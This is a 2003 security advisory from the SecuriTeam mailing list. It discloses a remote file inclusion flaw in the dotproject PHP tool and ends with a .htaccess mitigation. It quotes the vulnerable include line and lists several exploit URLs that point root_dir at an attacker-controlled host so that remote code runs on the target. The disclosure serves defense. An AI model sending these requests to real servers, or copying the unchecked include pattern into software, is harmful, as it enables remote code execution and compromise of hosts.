[UNIX] dotproject Remote Code Execution Vulnerability

From: support@securiteam.com
Date: 01/30/03

  • Next message: support@securiteam.com: "[EXPL] MS-SQL Vulnerability Exploiting Trusted Connections"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 30 Jan 2003 11:20:52 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      dotproject Remote Code Execution Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.dotproject.net/> dotproject is a PHP+MySQL beta level web
    based project management tool that dotmarketing started in Dec. 2000.
    Inside the directory /modules/ multiple files try to include
    classdefs/date.php without defining $root_dir first and allow remote
    attackers to inject their own servers if globals are set on.

    DETAILS

    Example Code from modules/projects/addedit.php:

    ******
    <?php
    ##
    ## Files modules: index page re-usable sub-table
    ##

    require_once( "$root_dir/classdefs/date.php" );
    $df = $AppUI->getPref('SHDATEFORMAT');
    $tf = $AppUI->getPref('TIMEFORMAT');

    ******

    As you can see, nothing happens before the require_once function is called
    and therefore with globals set on an attacker may include remote files.

    Example:
    http://victim/dotproject/modules/files/index_table.php?root_dir=http://attacker

    This works also on
    http://victim/dotproject/modules/projects/addedit.php?root_dir=http://attacker
    http://victim/dotproject/modules/projects/view.php?root_dir=http://attacker
    http://victim/dotproject/modules/projects/vw_files.php?root_dir=http://attacker
    http://victim/dotproject/modules/tasks/addedit.php?root_dir=http://attacker
    http://victim/dotproject/modules/tasks/viewgantt.php?root_dir=http://attacker

    Solution:
    Please check the vendor's website for new patches. As a temporary
    solution, create a .htaccess file that contains 'Deny from all'. Place it
    in the /modules/ directory and that should block remote users from
    accessing it.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:mindwarper@hush.com>
    Mindwarper.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages